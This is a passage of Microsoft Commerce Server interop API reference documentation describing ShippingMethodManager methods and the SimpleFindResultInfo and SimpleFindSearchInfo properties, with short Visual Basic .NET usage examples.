Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.DeleteMethodInstance Method (PIA)

Use this method to delete the current shipping method instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteMethodInstance()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object DeleteMethodInstance();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic .NET]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object
' sMethodId is set to sShippingMethodId,
' the method ID of the new method

oSMM.LoadMethodInstance(sShippingMethodId)
oSMM.DeleteMethodInstance()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.GetComponentConfig Method (PIA)

Use this method to retrieve the Configuration dictionary for the shipping component to implement the current shipping method. The shipping method must be loaded using LoadMethodInstance before calling GetComponentConfig.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetComponentConfig() As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetComponentConfig();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the Configuration dictionary for the current shipping method.

[C#] An object containing the Configuration dictionary.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic .NET]

Example

' oSMM is an initialized, loaded Commerce.ShippingMethodManager object

dConfig = oSMM.GetComponentConfig()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.GetInstalledMethodList Method (PIA)

Use this method to get a list of the current shipping methods. The GetInstalledMethodList method allows you to filter the list, select the columns to return, and sort the list into a particular order.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetInstalledMethodList(
  ByRef Filter As Object,
  ByRef OrderBy As Object,
  ByRef columns As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetInstalledMethodList(
  ref object Filter,
  ref object OrderBy,
  ref object columns
);

Parameters

[Visual Basic .NET]
Filter
A String that becomes the WHERE clause of the query. Pass null if no filtering is wanted. An example filter is "enabled = 1", which will cause the GetInstalledMethodList method to return only enabled shipping methods.
OrderBy
A String that becomes the ORDER BY clause of the query. Pass a null if no ordering is wanted. An example OrderBy argument is "shipping_method_name", which will cause the results to be sorted by shipping method name.
columns
A System.Array of column names of the values to retrieve. If an empty array is passed, all columns from the ShippingConfig table are returned.
[C#]
Filter
A reference to an object that contains a string that becomes the WHERE clause of the query. Pass a null value (DBNull.Value) if no filtering is wanted. An example filter is "enabled = 1", which will cause the GetInstalledMethodList method to return only enabled shipping methods.
OrderBy
A reference to an object that contains a string that becomes the ORDER BY clause of the query. Pass a null value (DBNull.Value) if no ordering is wanted. An example OrderBy argument is "shipping_method_name", which will cause the results to be sorted by shipping_method_name.
columns
A reference to an object that contains a System.Array of column names of the values to retrieve. If an empty array is passed, all columns from the ShippingConfig table are returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the results of the query.

[C#] An object containing an ADO Recordset object with the wanted values.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The GetInstalledMethodList method constructs a SQL query from its three parameters, runs it against the current ShippingConfig table, and returns the result in an ADO Recordset object.

[Visual Basic .NET]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object
' sFilter is set to filter
' sOrderBy is set to null, so there will be no ordering
' AColumns is an array of column names of the values to retrieve
' rsMethodList is a recordset
Dim aColumnNames() As Object
aColumnNames(0) = "shipping_method_name"
rsMethodList = oSMM.GetInstalledMethodList( "enabled = 1", _
                                            System.DBNull.Value, _
                                            aColumnNames)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.GetMethodInfo Method (PIA)

Use this method to retrieve information about the database attributes of one or more columns in the ShippingConfig table.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetMethodInfo(
  ByRef columns As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetMethodInfo(
  ref object columns,
);

Parameters

[Visual Basic .NET]
columns
A System.Array of strings containing names of the columns. Specify an empty array to return all columns.
[C#]
columns
An object containing a System.Array of strings containing names of the columns. Specify an empty array to return all columns.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the information about the wanted columns.

[C#] An object containing an ADO Recordset object that contains the information about the requested database columns.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

This method returns an ADO Recordset object containing the data type, defined size, and attributes of the requested columns in the ShippingConfig table.

[Visual Basic .NET]

Example

' oSMM is an initialized, loaded Commerce.ShippingMethodManager object
' rsResult is a recordset
Dim aColumnNames as System.Array
aColumnNames(0) = "shipping_method_name"
aColumnNames(1) = "description"
aColumnNames(2) = "enabled"
rsResult = oSMM.GetMethodInfo(aColumnNames)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.Initialize Method (PIA)

Use this method to initialize a ShippingMethodManager object and connect it to a database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  ByRef connection_string As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Initialize(
  ref object connection_string
);

Parameters

[Visual Basic .NET]
connection_string
A String containing the connection string.
[C#]
connection_string
A reference to an object containing a string with the connection string value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oSMM is a Commerce.ShippingMethodManager object
' sConnectionString is a string containing the connection
' string

oSMM.Initialize(sConnectionString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.LoadMethodInstance Method (PIA)

Use this method to load an instance of a given shipping method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub LoadMethodInstance(
  ByRef methodid As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void LoadMethodInstance(
  ref object method_id
);

Parameters

[Visual Basic .NET]
methodid
A String containing the method ID of the shipping method.
[C#]
method_id
A reference to an object containing a string that is the method ID of the shipping method.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Return Values

[C#] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

Remarks

This method loads an instance of the requested shipping method as a single record in the current recordset.

[Visual Basic .NET]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object
' sMethodId is a string containing the method id

oSMM.LoadMethodInstance(sMethodId)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.SaveMethodConfig Method (PIA)

Use this method to save the current shipping method information set using the SetMethodConfig method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SaveMethodConfig()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void SaveMethodConfig();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The SaveMethodConfig method saves the current shipping method configuration data.

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic .NET]

Example

' oSMM is a Commerce.ShippingMethodManager object

oSMM.SaveMethodConfig()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.SetCachableComponentConfig Method (PIA)

Use this method to set the configuration data for the pipeline component, and other component information.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetCachableComponentConfig(
  ByRef progid As Object,
  ByRef configdict As Object,
  ByRef action As Object,
  ByRef actionfriendlyname As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void SetCachableComponentConfig(
  ref object progid,
  ref object configdict,
  ref object action,
  ref object actionfriendlyname
);

Parameters

[Visual Basic .NET]
progid
A String containing the ProgID of the pipeline component.
configdict
A Dictionary object holding the configuration information for the component.
action
A String containing the name of the ASP edit page for the shipping component.
actionfriendlyname
A String containing a friendly name for the ASP edit page for the shipping component.
[C#]
progid
A reference to an object containing a string that is the ProgID of the pipeline component.
configdict
A reference to an object containing a Dictionary object holding the configuration information for the component.
action
A reference to an object containing a string with the name of the ASP edit page for the shipping component.
actionfriendlyname
A reference to an object containing a string with a friendly name for the ASP edit page for the shipping component.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

This method takes the Configuration dictionary for the component and prepares it to be saved along with the current configuration. In addition, the method stores the ProgID, the edit page, and the page friendly names. The settings are not saved until the SaveMethodConfig method is called.

The configdict parameter is typically obtained using IPipelineComponentAdmin::GetConfigDictionary.

This method utilizes the IPipelineComponentAdmin interface; therefore all shipping components configurable by the ShippingMethodManager object must support the IPipelineComponentAdmin interface.

[Visual Basic .NET]

Example

' oSMM is a Commerce.ShippingMethodManager object
' sProgID, sAction, and sActionFrientlyName are strings
' dConfigDict is a Commerce.Dictionary object

Call oSMM.SetCachableComponentConfig(sProgID, dConfigDict, _
                 sAction, sActionFriendlyName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.SetMethodConfig Method (PIA)

Use this method to set properties, such as name or description, on the current shipping method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetMethodConfig(
  ByRef ParametersAndValues As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void SetMethodConfig(
  ref object ParametersAndValues
);

Parameters

[Visual Basic .NET]
ParametersAndValues
A System.Array containing name and value pairs in successive elements.
[C#]
ParametersAndValues
A reference to an object containing a System.Array that contains name and value pairs in successive elements.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

The array parameter contains names and values in alternating elements. Odd subscripts contain the names of items, even subscripts contain the values.

Use the SaveMethodConfig method to save the configuration information entered with this method.

[Visual Basic .NET]

Example

' oSMM is a Commerce.ShippingMethodManager object
Dim aParamsAndValues() As Object
aParamsAndValues(0) = "shipping_method_name"
aParamsAndValues(1) = "My Shipping Method"
aParamsAndValues(2) = "description"
aParamsAndValues(3) = "Cheapest but slowest shipping method"
aParamsAndValues(4) = "enabled"
aParamsAndValues(5) = 1
oSMM.SetMethodConfig(aParamsAndValues)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


SimpleFindResultInfo Class (PIA)

Use this object to specify search criteria when using the SimpleFind and SimpleDelete methods of the OrderGroupManager object.

Properties

Property | Type | Description
Columns | Object | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | Boolean | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | Boolean | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | Object | Specifies the column name to sort on.
PageNumber | Integer | Specifies the page number of the resultset to show whether the resultset exceeds the page size.
PageSize | Integer | Specifies the page size.
SortDirection | Object | Specifies the sort direction.

Remarks

The following table shows the data returned by the OrderGroupManager SimpleFind method when it has been passed to the SimpleFindResultInfo object with the JoinOrderFormInfo and JoinLineItemInfo properties set to the indicated values.

JoinOrderFormInfo | JoinLineItemInfo | SimpleFind Method Data Returned
False | False | One record for each OrderGroup that meets the search criteria. Returns OrderGroup data only. The default setting is False.
True | False | One record for each OrderForm that meets the search criteria. Returns OrderGroup and OrderForm data.
True | True | One record for each line item that meets the search criteria. Returns OrderGroup, OrderForm, and line item data.
False | True | One record for each line item that meets the search criteria. Returns OrderGroup, OrderForm, and line item data.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

Business Process Objects

SimpleFindSearchInfo Class

OrderGroupManager Class

OrderGroup Class

OrderForm Class


SimpleFindResultInfo Properties (PIA)

Properties

Property | Type | Description
Columns | Object | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | Boolean | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | Boolean | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | Object | Specifies the column name to sort on.
PageNumber | Integer | Specifies the page number of the resultset to show whether the resultset exceeds the page size.
PageSize | Integer | Specifies the page size.
SortDirection | Object | Specifies the sort direction.


SimpleFindResultInfo.Columns Property (PIA)

The Columns property is a read/write Object that specifies a custom set of columns to be returned by the SimpleFind method. The columns property, if specified, should be a string of comma-separated column names. If the property is left null, SimpleFind will return a standard set of columns.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property Columns As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object Columns {get; set;}
[C#]

Property Value

An object containing a string with the names of the columns in addition to the default columns.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.JoinLineItemInfo Property (PIA)

The JoinLineItemInfo property is a read/write Boolean that indicates whether to join the OrderFormLineItems table with the results.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property JoinLineItemInfo As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public bool JoinLineItemInfo {get; set;}

Property Value

A value of True indicates that the OrderFormLineItems table will be joined. A value of False indicates that it will not be joined.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.JoinOrderFormInfo Property (PIA)

The JoinOrderFormInfo property is a read/write Boolean value that indicates whether the OrderFormHeader table is joined in the results.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property JoinOrderFormInfo As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public bool JoinOrderFormInfo {get; set;}

Property Value

A value of True specifies that the OrderFormHeader table will be joined. A value of False specifies that it will not be joined.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.OrderGroupSortColumn Property (PIA)

The OrderGroupSortColumn property is a read/write Object that contains the column name on which to sort.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property OrderGroupSortColumn As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object OrderGroupSortColumn {get; set;}

Property Value

An object that contains the name of the column on which to sort.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 98, Windows NT 4.0, Windows Millennium Edition, Windows 2000, Windows XP

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.PageNumber Property (PIA)

The PageNumber property is a read/write Integer that contains the page number to jump to. This property setting must be coordinated with the PageSize property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property PageNumber As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public int PageNumber {get; set;}

Property Value

An Integer that contains the page number.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Use this property to implement a paging mechanism that allows you to page through your orders. (These orders could be viewed in a List Sheet, for example.)

This property is initialized to 1.

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.PageSize Property (PIA)

The PageSize property is a read/write Integer that contains the page size. This property setting must be coordinated with the PageNumber property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property PageSize As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public int PageSize {get; set;}

Property Value

An Integer that contains the page size.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Use this property to implement a paging mechanism that allows you to page through your orders. (These orders could be viewed in a List Sheet, for example.)

This property defaults to 20.

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.SortDirection Property (PIA)

The SortDirection property is a read/write Object that contains the sort direction.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SortDirection As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SortDirection {get; set;}

Property Value

An Object that contains the sort direction. The value of this field can be asc for ascending or desc for descending.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindSearchInfo Class (PIA)

Use this object to specify search criteria when conducting searching and deleting operations using the SimpleFind and SimpleDelete methods of the OrderGroupManager object.

Properties

Property | Type | Description
description | Object | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | Object | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | Object | Specifies the order group ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | Object | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | Object | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | Object | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | Object | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | Object | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | Integer | Specifies the OrderGroup status. This property allows the user to filter the status (that is basket, template, or new order). This property is read/write.
user_firstname | Object | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | Object | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | Object | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | Object | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | Object | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

Business Process Objects

SimpleFindResultInfo Class

OrderGroupManager Class

OrderGroup Class

OrderForm Class


SimpleFindSearchInfo Properties (PIA)

Properties

Property | Type | Description
description | Object | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | Object | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | Object | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | Object | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | Object | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | Object | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | Object | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | Object | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | Integer | Specifies the OrderGroup status. This property allows the user to filter the status (that is basket, template, or new order). This property is read/write.
user_firstname | Object | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | Object | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | Object | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | Object | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | Object | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.


SimpleFindSearchInfo.description Property (PIA)

The description property is a read/write Object that specifies the product description to search for; if left null, the product description does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property description As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object description {get; set;}

Property Value

An object containing the item description to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.order_number Property (PIA)

The order_number property is a read/write Object that specifies the order number to search for; if left null, the order number does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property order_number As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object order_number {get; set;}

Property Value

An object containing the order number to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.ordergroup_id Property (PIA)

The ordergroup_id property is a read/write Object that contains the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property ordergroup_id As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object ordergroup_id {get; set;}

Property Value

An object containing the OrderGroup ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.po_number Property (PIA)

The po_number property is a read/write Object that contains the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property po_number As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object po_number {get; set;}

Property Value

An object containing the OrderForm ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.product_id Property (PIA)

The product_id property is a read/write Object that contains the product ID to search for; if left null, the product ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property product_id As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object product_id {get; set;}

Property Value

An object containing the product ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.SearchDateTimeColumn Property (PIA)

The SearchDateTimeColumn property is a read/write Object that contains the name of the DateTime column to use in the search. If left null, the DateTime column name does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SearchDateTimeColumn As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SearchDateTimeColumn {get; set;}

Property Value

An object containing the name of the DateTime column to use in the search.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.SearchDateTimeEnd Property (PIA)

The SearchDateTimeEnd property is a read/write Object that contains the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. Use this property in conjunction with the SearchDateTimeColumn property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SearchDateTimeEnd As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SearchDateTimeEnd {get; set;}

Property Value

An object containing the DateTime end value to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.SearchDateTimeStart Property (PIA)

The SearchDateTimeStart property is a read/write Object that contains the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. Use this property in conjunction with the SearchDateTimeColumn property.

Definition

[Visual Basic .NET]
